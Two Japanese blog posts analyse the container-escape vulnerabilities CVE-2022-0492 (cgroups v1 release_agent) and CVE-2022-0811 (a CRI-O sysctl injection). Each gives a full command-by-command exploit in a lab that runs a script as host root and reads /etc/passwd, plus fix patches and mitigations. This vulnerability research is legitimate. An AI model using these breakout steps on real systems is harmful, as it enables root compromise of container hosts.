CVE-2022-0492 調査まとめ

cgroups v1 の脆弱性 CVE-2022-0492 について、調査した内容をまとめました。
3/18 にイベントで発表した内容ですが、時間の都合で語りきれなかった部分も多く、内容を加筆してブログに書くことにしました。

speakerdeck.com

CVE-2022-0492 概要

CVE-2022-0492 は cgroups v1 における特権昇格・コンテナブレイクアウト脆弱性です。cgroups v1 の release_agent 機能を悪用することで、コンテナからホストの root 権限で任意コマンド実行が可能となります。詳細は後述しますが、これは本来特権コンテナに限定されるべき設定が、capabilities のチェック漏れにより非特権コンテナから行える状態だったことが原因です。

脆弱性は seccomp や AppArmor/SELinux を有効にすることで回避可能です。

release_agent について

cgroups v1 は cpu, memory, pids のようにリソースをサブシステムに分割し、各サブシステムがディレクトリ構造を取っています。

# ls /sys/fs/cgroup/
blkio  cpu,cpuacct  cpuset   freezer  memory  net_cls           net_prio    pids  systemd
cpu    cpuacct      devices  hugetlb  misc    net_cls,net_prio  perf_event  rdma  unified

release_agent は各 cgroup サブシステムのルートディレクトリに配置されるファイルで、cgroup 内のプロセスが終了する時に起動させるプログラムを設定します。
この時実行されるリリースエージェントプログラムはホストの root 権限を持ちます。

リリースエージェントプログラム の起動の有無は、cgroup ディレクトリ内の notify_on_release の値で判断されます。このファイルはルート以下、各 child cgroup のディレクトリにも配置されています。notify_on_release = 1 の場合、リリースエージェントプログラムを起動します。

f:id:kyohmizu:20220406231534p:plain:w400:h400
cgroup のディレクトリ構成

pids cgroup のルートディレクトリを見ると、以下のように release_agent, notify_on_release のファイルを確認できます。

# ls /sys/fs/cgroup/pids/
cgroup.clone_children  cgroup.sane_behavior  docker      notify_on_release  system.slice  user.slice
cgroup.procs           default               init.scope  release_agent      tasks

# cat /sys/fs/cgroup/pids/release_agent   ← 空のファイル

# cat /sys/fs/cgroup/pids/notify_on_release 
0

ちなみにコンテナに CAP_SYS_ADMIN がある場合、release_agent を使えば本脆弱性を利用することなくブレイクアウト可能です。
(参考:https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)

また cgroups v2 には release_agent がなく、リリースの通知は別の仕組みを使っています。

エクスプロイト

前提条件

脆弱性は次の条件を全て満たす場合に影響があります。

  • root ユーザーまたは、no_new_privsフラグなしでコンテナを起動している
  • seccomp, AppArmor/SELinux がいずれも有効でない
  • ホストの非特権ユーザー名前空間が有効(ubuntu ではデフォルトの設定です)

各設定の確認方法↓

# cat /proc/sys/kernel/unprivileged_userns_clone   ← 非特権ユーザ名前空間
1

# cat /proc/self/status | grep Seccomp   ← seccomp
Seccomp:    0
Seccomp_filters:    0

# cat /proc/self/attr/current   ← AppArmor
docker-default (enforce)

要点

  • コンテナから cgroups の release_agent に書き込みたい
  • rdma サブシステムは root cgroup に所属しているが、readonly でマウントされている
  • cgroup を rw で新たにマウントしたいが、マウントには CAP_SYS_ADMIN が必要
  • unshare で user namespace (ns) を作成すれば CAP_SYS_ADMIN が得られる
  • cgroup, mount ns も同時に作成することで cgroup をマウント可能に
  • rdma cgroup をマウント すると release_agent に書き込み可能
  • cgroup 内のプロセスが終了するタイミングで、任意のプログラムをホストの root 権限で実行

検証

脆弱な Kernel バージョンで CVE-2022-0492 を検証します。
今回は EC2 インスタンスに用意した ubuntu 上で、seccomp, AppArmor をオフにした docker コンテナを起動します。

# uname -a
Linux ip-172-31-1-29 5.13.0-1017-aws #19~20.04.1-Ubuntu SMP Mon Mar 7 12:53:12 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash

docker はコンテナ作成時に cgroup ns を作成しないので、コンテナはホストと同じ cgroup ns に所属しています。

自身の cgroup を確認すれば root cgroup からのパスがわかるため、コンテナ内から各サブシステムが root cgroup に所属しているかどうか調べることができます。

root@ab988587a245:/# cat /proc/self/cgroup
13:misc:/
12:rdma:/   ← rdma サブシステムは root cgroup
11:hugetlb:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
10:cpuset:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
9:net_cls,net_prio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
8:perf_event:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
7:blkio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
6:devices:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
5:freezer:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
4:cpu,cpuacct:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
3:pids:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
2:memory:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
1:name=systemd:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
0::/system.slice/containerd.service

これで rdma サブシステムが root cgroup に所属していることがわかりました。
しかしコンテナにマウントされている cgroup は readonly のため、release_agent は見えても書き込みはできません。

root@ab988587a245:/# mount | grep 'cgroup (ro'
cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)
cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)   ← readonly でマウントされている
cgroup on /sys/fs/cgroup/misc type cgroup (ro,nosuid,nodev,noexec,relatime,misc)

root@ab988587a245:/# ls -l /sys/fs/cgroup/rdma/
total 0
-rw-r--r--  1 root root 0 Mar 15 01:40 cgroup.clone_children
-rw-r--r--  1 root root 0 Mar 15 01:40 cgroup.procs
-r--r--r--  1 root root 0 Mar 15 01:40 cgroup.sane_behavior
-rw-r--r--  1 root root 0 Mar 15 01:40 notify_on_release
-rw-r--r--  1 root root 0 Mar 29 16:01 release_agent
drwxr-xr-x 13 root root 0 Mar 26 21:07 system.slice
-rw-r--r--  1 root root 0 Mar 15 01:40 tasks

root@ab988587a245:/# echo test > /sys/fs/cgroup/rdma/release_agent 
bash: /sys/fs/cgroup/rdma/release_agent: Read-only file system   ← 書き込みエラー

というわけで、cgroup を rw でマウントできれば良いことになります。

ここで capability を確認すると、コンテナは CAP_SYS_ADMIN を持っておらず、このままでは cgroup をマウントする権限がありません。

root@ab988587a245:/# apt update && apt install -y libcap2-bin

root@ab988587a245:/# cat /proc/self/status | grep CapEff
CapEff: 00000000a80425fb

root@ab988587a245:/# capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

root@ab988587a245:/# mount -t cgroup -o rdma cgroup /mnt
mount: /mnt: permission denied.   ← マウントエラー

CAP_SYS_ADMIN を付与するため user ns を作成し新たにプロセスを立ち上げます。
立ち上げたプロセスを見ると、CAP_SYS_ADMIN 他全ての capabilities が付与されていることがわかります。

さらに mount, cgroup ns を同時に作成することで、コンテナ内でのマウントが可能になります。 マウントさえできれば release_agent に書き込むことができます。

root@ab988587a245:/# unshare -rmC bash   ← user, mount, cgroup ns を作成

root@ab988587a245:/# cat /proc/self/status | grep CapEff
CapEff: 000001ffffffffff

root@ab988587a245:/# capsh --decode=000001ffffffffff
0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,38,39,40   ← CAP_SYS_ADMIN を持つ

root@ab988587a245:/# mount -t cgroup -o rdma cgroup /mnt   ← rdma サブシステムをマウント

root@ab988587a245:/# ls /mnt
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks

root@ab988587a245:/# mount | grep 'cgroup (rw'
cgroup on /mnt type cgroup (rw,relatime,rdma)

ここまでで、コンテナ内から release_agent に書き込めるようになりました。

続いてコンテナ内のルート (/) に、ホストの権限で実行させたいプログラムを配置します。 今回は /etc/passwd をコンテナ内に出力するスクリプトを作成しています。

release_agent に設定するのはプログラムのパスですが、ホストから見た絶対パスを指定する必要があります。

root@ab988587a245:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

root@ab988587a245:/# echo $host_path
/var/lib/docker/overlay2/20c4102a1a817b0e564734054b876c051732c62f4993ce682508ac7cd7fcb1c6/diff   ← upperdir のパス

root@ab988587a245:/# echo "$host_path/cmd" > /mnt/release_agent

root@ab988587a245:/# echo '#!/bin/sh' > /cmd

root@ab988587a245:/# echo "cat /etc/passwd > $host_path/output" >> /cmd

root@ab988587a245:/# chmod a+x /cmd

最後に用意したプログラムを起動するため、cgroup 内のプロセスを空にします。
child cgroup を作成し、その中にすぐに終了するプロセスを追加することでリリースエージェントプログラムを起動させます。

root@ab988587a245:/# mkdir /mnt/xx   ← child cgroup を作成

root@ab988587a245:/# ls /mnt/xx/
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks

root@ab988587a245:/# echo 1 > /mnt/xx/notify_on_release

root@ab988587a245:/# sh -c "echo \$\$" > /mnt/xx/cgroup.procs   ← すぐに終了するプロセスを child cgroup に追加

root@ab988587a245:/# cat /output   ← コンテナ内にホストの /etc/passwd が出力されている
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
...

修正パッチ

https://github.com/torvalds/linux/commit/24f6008564183aa120d07c03d9289519c2fe02af
https://github.com/torvalds/linux/commit/467a726b754f474936980da793b4ff2ec3e382a7

  static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of, char *buf, size_t nbytes, loff_t off)
  {
    struct cgroup *cgrp;
+   struct cgroup_file_ctx *ctx;

    BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);

+   /*
+    * Release agent gets called with all capabilities,
+    * require capabilities to set release agent.
+    */
+   ctx = of->priv;
+   if ((ctx->ns->user_ns != &init_user_ns) ||
+       !file_ns_capable(of->file, &init_user_ns, CAP_SYS_ADMIN))
+     return -EPERM;

    cgrp = cgroup_kn_lock_live(of->kn, false);

修正後は上記検証手順での release_agent への書き込みはできません。 これは書き込みプロセスが CAP_SYS_ADMIN は持ちますが、init user ns でないためだと理解しています。

init user ns かつ CAP_SYS_ADMIN を同時に満たすのは、非特権コンテナにおいては不可能となりました。(厳密にはプロセスの capability と、対象 cgroup の所有 user ns のチェックを行なっています)

# uname -r
5.17.0-051700rc7-generic

# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash

root@a45e44c77da9:/# unshare -rmC bash

root@a45e44c77da9:/# mount -t cgroup -o rdma cgroup /mnt

root@a45e44c77da9:/# ls /mnt
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks

root@a45e44c77da9:/# echo test > /mnt/release_agent 
bash: echo: write error: Operation not permitted

ただし特権コンテナでは引き続きコンテナブレイクアウトは可能です。
引き続き非特権コンテナにする、seccomp や AppArmor/SELinux を設定する等の対策は必要です。

コンテナセキュリティ

コンテナセキュリティと本脆弱性の関係について簡単に見ていきます。

seccomp

seccomp はコンテナ内で実行できるシステムコールを制限します。
unshare システムコールをブロックするため、ns を作成する段階でエラーとなります。

# docker run --rm -it --security-opt apparmor=unconfined ubuntu bash

root@fb3522b81478:/# cat /proc/self/status | grep Seccomp
Seccomp:    2
Seccomp_filters:    1

root@fb3522b81478:/# unshare -rmC bash
unshare: unshare failed: Operation not permitted

AppArmor (SELinux)

ファイル操作、プログラム実行、capabilities 等を制限します。
AppArmor を有効化したコンテナで確認したところ、mount ns の作成を制限しているようでした。

# docker run --rm -it --security-opt seccomp=unconfined ubuntu bash

root@46912ffebb2c:/# cat /proc/self/attr/current 
docker-default (enforce)

root@46912ffebb2c:/# unshare -rmC bash
unshare: cannot change root filesystem propagation: Permission denied

Kubernetes の場合

Kubernetes においては、seccomp や AppArmor/SELinux は環境や設定次第では OFF のため影響が出る可能性があります。

AppArmor/SELinuxKubernetes ノードやコンテナランタイムで有効にする必要があります。 さらに seccomp は Pod のマニフェストにも設定しなければなりません。

また securityContext に適切な設定をすることも重要です。 allowPrivilegeEscalation, readOnlyRootFilesystem, capabilities 等でコンテナの機能を制限すれば、今後生まれる脆弱性の予防にもなると考えます。

EKS, GKE の場合

EKS のノードに使われる Amazon Linux 2 では、rdma のようなコンテナ内に root cgroup がマウントされたサブシステムはないようです。 このため cgroup を新規にマウントしても release_agent は見えず、本脆弱性を悪用することはできません。

# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash

root@287fcd93a54f:/# cat /proc/self/cgroup 
11:pids:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
10:devices:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
9:hugetlb:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
8:perf_event:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
7:net_cls,net_prio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
6:blkio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
5:memory:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
4:cpu,cpuacct:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
3:freezer:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
2:cpuset:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
1:name=systemd:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0

GKE のノードに使われる COS では、デフォルトで AppArmor が有効になっているようです。 (https://cloud.google.com/container-optimized-os/docs/how-to/secure-apparmor)

$ k run ubuntu --image ubuntu -- sleep 3600
pod/ubuntu created
$ k exec -it ubuntu -- bash
root@ubuntu:/# cat /proc/self/attr/current 
cri-containerd.apparmor.d (enforce)
root@ubuntu:/# unshare -rmC bash
unshare: cannot change root filesystem propagation: Permission denied

以上のことから EKS, GKE では本脆弱性の影響はなさそうです。

さいごに

脆弱性の調査を通じて、コンテナを構成する Linux の要素技術やコンテナセキュリティへの理解が深まりました。
Linux の技術について包括的に学ぶのは(個人的には)難しいので、このような脆弱性の調査から学ぶアプローチも良いのではと思います。

本記事が皆さんの学習の糧になれば幸いです。

参考リンク

CVE-2022-0492

https://unit42.paloaltonetworks.jp/cve-2022-0492-cgroups/

https://sysdig.jp/blog/detecting-mitigating-cve-2021-0492-sysdig/

https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2022/03/06/cve-2022-0492

https://nvd.nist.gov/vuln/detail/CVE-2022-0492

Linux

https://lwn.net/Articles/679786/

https://www.nginx.com/blog/what-are-namespaces-cgroups-how-do-they-work/

https://linuxhint.com/install-linux-kernel-ubuntu/

https://man7.org/linux/man-pages/man7/cgroups.7.html

https://blog.tiqwab.com/2021/11/13/docker-and-cgroups.html

https://en.wikipedia.org/wiki/Seccomp

https://en.wikipedia.org/wiki/Security-Enhanced_Linux

https://manpages.ubuntu.com/manpages/xenial/man5/apparmor.d.5.html

コンテナセキュリティ

https://container-security.dev/security/breakout-to-host.html

https://speakerdeck.com/mochizuki875/container-dev-security

https://speakerdeck.com/mochizuki875/container-seccomp

CVE-2022-0811 調査まとめ

CRI-O の脆弱性 (CVE-2022-0811) について調べた内容をまとめました。脆弱性の詳細と、関連する CRI-O の実装や Linux の機能を紹介します。

CVE-2022-0811 概要

CVE-2022-0811 は CRI-O の任意コード実行・コンテナブレイクアウト脆弱性で、報告した CrowdStrike 社は「cr8escape」と呼んでいます。 CRI-O の v1.19 以降に影響があり、すでに修正バージョンがリリースされています。 (詳細は Security Advisory を参照)
pinns utility のカーネルパラメータ設定の検証不備により、/proc/sys/kernel/core_pattern への書き込みが可能となっていました。これによりプロセスを異常終了させることでホストの root 権限で任意の操作を行えます。
LSM では防ぐことはできませんが、OPA 等のポリシーで回避可能です。

CRI-O について

CRI-O 概要

https://github.com/cri-o/cri-o

CRI-O は Kubernetes に最適化された軽量な高レベルコンテナランタイムです。
Docker や containerd とは異なり、コンテナ作成にはまず pod を作成し、その中にコンテナを作成する必要があります。
CLI ツールは crictl (https://github.com/kubernetes-sigs/cri-tools) を使用します。

# cat container-config.json 
{
  "metadata": {
      "name": "ubuntu"
  },
  "image":{
      "image": "ubuntu"
  },
  "command": [
      "sleep",
      "3600"
  ],
  "log_path":"ubuntu.0.log",
  "linux": {
  }
}

# cat pod-config.json 
{
    "metadata": {
        "name": "ubuntu-sandbox",
        "namespace": "default",
        "attempt": 1,
        "uid": "hdishd83fjaiarawuwk28bcsb"
    },
    "log_directory": "/tmp",
    "linux": {
    }
}

# crictl runp pod-config.json   ← pod の起動
b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc

# crictl create b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc container-config.json pod-config.json   ← コンテナ作成
2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7

# crictl start 2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7   ← コンテナ起動
2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7

# crictl pods
POD ID              CREATED             STATE               NAME                NAMESPACE           ATTEMPT             RUNTIME
b69761649f8f6       42 seconds ago      Ready               ubuntu-sandbox      default             1                   (default)

# crictl ps
CONTAINER           IMAGE               CREATED             STATE               NAME                ATTEMPT             POD ID
2ce8010c047df       ubuntu              19 seconds ago      Running             ubuntu              0                   b69761649f8f6

pinns による pod へのカーネルパラメータ設定

CRI-O は pinns utility を使用することで、pod 起動時にカーネルパラメータ (sysctls) を設定できます。
この対応は v1.19 で追加されました。 (first commit)

設定には -s オプションを使用し、key=value の形式で複数のカーネルパラメータを連結して渡すことができます。

pinns -s kernel_parameter1=value1+kernel_parameter2=value2

設定可能な sysctls は以下の実装で制限されています。
sysctls の中にはホストと設定を共有するものもあるため、コンテナ起動時に設定できる sysctls を Namespaced なものに限定しています。

https://github.com/cri-o/cri-o/blob/main/pkg/config/sysctl.go

var prefixNamespaces = map[string]Namespace{
  "kernel.shm": IpcNamespace,
  "kernel.msg": IpcNamespace,
  "fs.mqueue.": IpcNamespace,
  "net.":       NetNamespace,
}

// Validate checks that a sysctl is whitelisted because it is known to be
// namespaced by the Linux kernel. The parameters hostNet and hostIPC are used
// to forbid sysctls for pod sharing the respective namespaces with the host.
// This check is only used on sysctls defined by the user in the crio.conf
// file.
func (s *Sysctl) Validate(hostNet, hostIPC bool) error {
  nsErrorFmt := "%q not allowed with host %s enabled"
  if ns, found := namespaces[s.Key()]; found {
    if ns == IpcNamespace && hostIPC {
      return errors.Errorf(nsErrorFmt, s.Key(), ns)
    }
    return nil
  }
  for p, ns := range prefixNamespaces {
    if strings.HasPrefix(s.Key(), p) {
      if ns == IpcNamespace && hostIPC {
        return errors.Errorf(nsErrorFmt, s.Key(), ns)
      }
      if ns == NetNamespace && hostNet {
        return errors.Errorf(nsErrorFmt, s.Key(), ns)
      }
      return nil
    }
  }
  return errors.Errorf("%s not whitelisted", s.Key())
}

sysctls の適用は pinns 内に実装されており、-s オプションの設定値をもとに /proc/sys/ 以下のファイルに書き込みを行なっています。

https://github.com/cri-o/cri-o/blob/main/pinns/src/sysctl.c

static int write_sysctl_to_file (char * sysctl_key, char* sysctl_value)
{
  if (!sysctl_key || !sysctl_value)
  {
    pwarn ("sysctl key or value not initialized");
    return -1;
  }

  // replace periods with / to create the sysctl path
  for (char* it = sysctl_key; *it; it++)
    if (*it == '.')
      *it = '/';

  _cleanup_close_ int dirfd = open ("/proc/sys", O_DIRECTORY | O_PATH | O_CLOEXEC);
  if (UNLIKELY (dirfd < 0))
  {
    pwarn ("failed to open /proc/sys");
    return -1;
  }

  _cleanup_close_ int fd = openat (dirfd, sysctl_key, O_WRONLY);
  if (UNLIKELY (fd < 0))
  {
    pwarnf ("failed to open /proc/sys/%s", sysctl_key);
    return -1;
  }

  int ret = TEMP_FAILURE_RETRY (write (fd, sysctl_value, strlen (sysctl_value)));
  if (UNLIKELY (ret < 0))
  {
    pwarnf ("failed to write to /proc/sys/%s", sysctl_key);
    return -1;
  }
  return 0;
}

Coredump

プロセスが異常終了した時に、プロセスメモリの dump を core ファイルとして出力します。
これはホストの root 権限で実行されます。

Coredump の設定は /proc/sys/kernel/core_pattern に書かれており、ファイルの直接編集や sysctl コマンドで設定を変更できます。

# sysctl -w kernel.core_pattern="%e-%s.core"

kernel.core_pattern には dump の出力先パスを指定しますが、最初文字がパイプ | の場合は指定パスのプログラムを実行します (この場合 dump は標準入力として渡される)。

/proc/sys/kernel/core_pattern のデフォルト値として、ubuntu (20.04) では apport というバグレポートツールが指定されています。

$ cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c %d %P %E

また Coredump のファイルサイズ上限は ulimit で設定します。
Limit が0の場合ファイル出力されませんが、試した感じ今回の脆弱性は Soft Limit が0でも刺さりそうです。

# cat /proc/self/limits 
Limit                     Soft Limit           Hard Limit           Units     
Max cpu time              unlimited            unlimited            seconds   
Max file size             unlimited            unlimited            bytes     
Max data size             unlimited            unlimited            bytes     
Max stack size            8388608              unlimited            bytes     
Max core file size        0                    unlimited            bytes     
Max resident set          unlimited            unlimited            bytes     
Max processes             3819                 3819                 processes 
Max open files            1024                 1048576              files     
Max locked memory         67108864             67108864             bytes     
Max address space         unlimited            unlimited            bytes     
Max file locks            unlimited            unlimited            locks     
Max pending signals       3819                 3819                 signals   
Max msgqueue size         819200               819200               bytes     
Max nice priority         0                    0                    
Max realtime priority     0                    0                    
Max realtime timeout      unlimited            unlimited            us

エクスプロイト

要点

  • kernel.core_pattern は Namespaced ではないため、ホストとコンテナで同じファイルを参照する
    • コンテナ内からは変更不可
    • pod 起動時に sysctl に kernel.core_pattern を設定できれば、ホストの値も変更できる
  • CIO-O 内で sysctl のキーを検証しているが、value+ を含む文字列を渡すことでバイパス可能 (以下コードを参照)
  • 設定後にプロセスを異常終了させることで、ホストの root 権限で任意コード実行

問題となったコード

func getSysctlForPinns(sysctls map[string]string) string {
  // this assumes there's no sysctl with a `+` in it
  const pinnsSysctlDelim = "+"
  g := new(bytes.Buffer)
  for key, value := range sysctls {
    fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim)  // ← "'key1=value1'+'key2=value2'" の形で文字列連結する
  }
  return strings.TrimSuffix(g.String(), pinnsSysctlDelim)
}

検証

脆弱なバージョンの CRI-O で CVE-2022-0811 を検証します。
今回は Kubernetes は使用せず、crictl での検証を行いました。

# crio --version
crio version 1.23.1
Version:          1.23.1
GitCommit:        af642cdafed31e4be5dd82e996bb084050c8bb89
GitTreeState:     dirty
BuildDate:        1980-01-01T00:00:00Z
GoVersion:        go1.17.4
Compiler:         gc
Platform:         linux/amd64
Linkmode:         static
BuildTags:        apparmor, exclude_graphdriver_devicemapper, seccomp, selinux
SeccompEnabled:   true
AppArmorEnabled:  true

最初にホストに実行させたいプログラムを配置するコンテナを作成します。
container-config.json、pod-config.json は前述のファイルと同じものです。

# crictl runp pod-config.json 
d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a

# crictl create d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a container-config.json pod-config.json 
9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123

# crictl start 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123
9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123

起動したコンテナにアタッチし、コンテナの root パスにプログラムを配置します。
今回は /etc/passwd をコンテナ内の /output に出力するスクリプトを用意しました。

# crictl exec -it 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123 bash

root@d33614f0b22d:/# mount | grep overlay
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/containers/storage/overlay/l/73PSGHB33J2RBZXIUVK7SRC4UA,upperdir=/var/lib/containers/storageoverlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff,workdir=/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/work,metacopy=on,volatile)

root@d33614f0b22d:/# echo '#!/bin/sh' > /cmd

root@d33614f0b22d:/# echo 'cat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/output' >> cmd

root@d33614f0b22d:/# cat /cmd
#!/bin/sh
cat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/output

root@d33614f0b22d:/# chmod a+x /cmd

続いて kernel.core_pattern を変更する pod を作成します。
pod config の sysctls には変更が許可されている sysctl のキーと、+ で連結した value を記載します。value に記載する kernel.core_pattern には、ホストから見たプログラムの絶対パスを指定しています。
パスの末尾に # をつけていますが、これは CRI-O の実装で付与されるシングルクォートを無効化する役割があります。

# cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c %d %P %E

# cat pod-config2.json 
{
    "metadata": {
        "name": "ubuntu-sandbox2",
        "namespace": "default",
        "attempt": 1,
        "uid": "edishd83djaidwnduwk28bcsd"
    },
    "log_directory": "/tmp",
    "linux": {
  "sysctls": {
      "kernel.shm_rmid_forced": "1+kernel.core_pattern=|/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #"
  }
    }
}

# crictl runp pod-config2.json 
FATA[0001] run pod sandbox: rpc error: code = Unknown desc = container create failed: write to /proc/sys/kernel/shm_rmid_forced: Invalid argument 

pod 作成はエラーになりますが、kernel.core_pattern を見ると変更されていることがわかります。

# cat /proc/sys/kernel/core_pattern 
|/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #'

最後に起動中のコンテナ内でプロセスを異常終了させることで、 Coredump の機能を呼び出しホストの root 権限でプログラムを実行させることができます。

root@d33614f0b22d:/# tail -f /dev/null &
[1] 17

root@d33614f0b22d:/# ps
    PID TTY          TIME CMD
      4 pts/0    00:00:00 bash
     17 pts/0    00:00:00 tail
     18 pts/0    00:00:00 ps

root@d33614f0b22d:/# kill -SIGSEGV 17

root@d33614f0b22d:/# ls /
bin  boot  cmd  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  output  proc  root  run  sbin  srv  sys  tmp  usr  var
[1]+  Segmentation fault      (core dumped) tail -f /dev/null

root@d33614f0b22d:/# cat /output 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
